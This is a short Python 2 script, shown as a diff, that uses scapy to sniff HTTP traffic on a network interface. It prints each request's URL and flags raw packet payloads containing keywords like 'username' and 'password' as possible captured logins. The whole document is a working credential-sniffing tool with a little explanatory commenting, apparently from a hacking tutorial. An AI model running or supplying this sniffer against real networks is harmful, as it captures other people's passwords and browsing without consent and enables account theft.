1+ import scapy .all as scapy
2+ from scapy .layers import http # pip install scapy_http
3+ 4+ # from scapy_http import http
5+ 6+ def get_url (packet ):
7+ return packet [http .HTTPRequest ].Host + packet [http .HTTPRequest ].Path #for detecting urls
8+ 9+ 10+ def sniff (interface ):
11+ scapy .sniff (iface = interface , store = False , prn = process_sniffed_packet ) #prn it will excute a function which we will give it after capturing packet
12+ 13+ 14+ def get_login_info (packet ):
15+ if packet .haslayer (scapy .Raw ):
16+ # print(packet[scapy.Raw].load) #finding and printing Raw layer
17+ load = packet [scapy .Raw ].load
18+ keywords = ["username" , "user" , "login" ,"password" , "pass" ]
19+ for keyword in keywords :
20+ if keyword in load :
21+ return load
22+ 23+ 24+ #store =dont store memory on this pc
25+ 26+ def process_sniffed_packet (packet ): # for http only
27+ if packet .haslayer (http .HTTPRequest ):
28+ url = get_url (packet )
29+ print ("[+] HTTP REQUEST >> \n " + url )
30+ 31+ login_info = get_login_info (packet )
32+ if login_info :
33+ print ("\n \n [+] possible username/password >>" + login_info + "\n \n " )
34+ 35+ 36+ 37+ sniff ("eth0" ) #----interfaceon which you want to sniff
38+ 39+ 40+ ## imp -----> python sniffer.py
41+ ##code is not in python3
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